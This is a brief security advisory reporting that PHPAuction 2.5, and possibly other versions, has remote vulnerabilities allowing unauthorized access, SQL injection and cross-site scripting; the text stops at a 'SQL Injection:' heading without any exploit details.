PHPAuction is affected by multiple remote vulnerabilities. These issues can allow an attacker to gain unauthorized access to a site and carry out SQL injection and cross-site scripting attacks.
PHPAuction 2.5 is reported to be affected by these issues. It is possible that other versions are vulnerable as well.
SQL Injection:
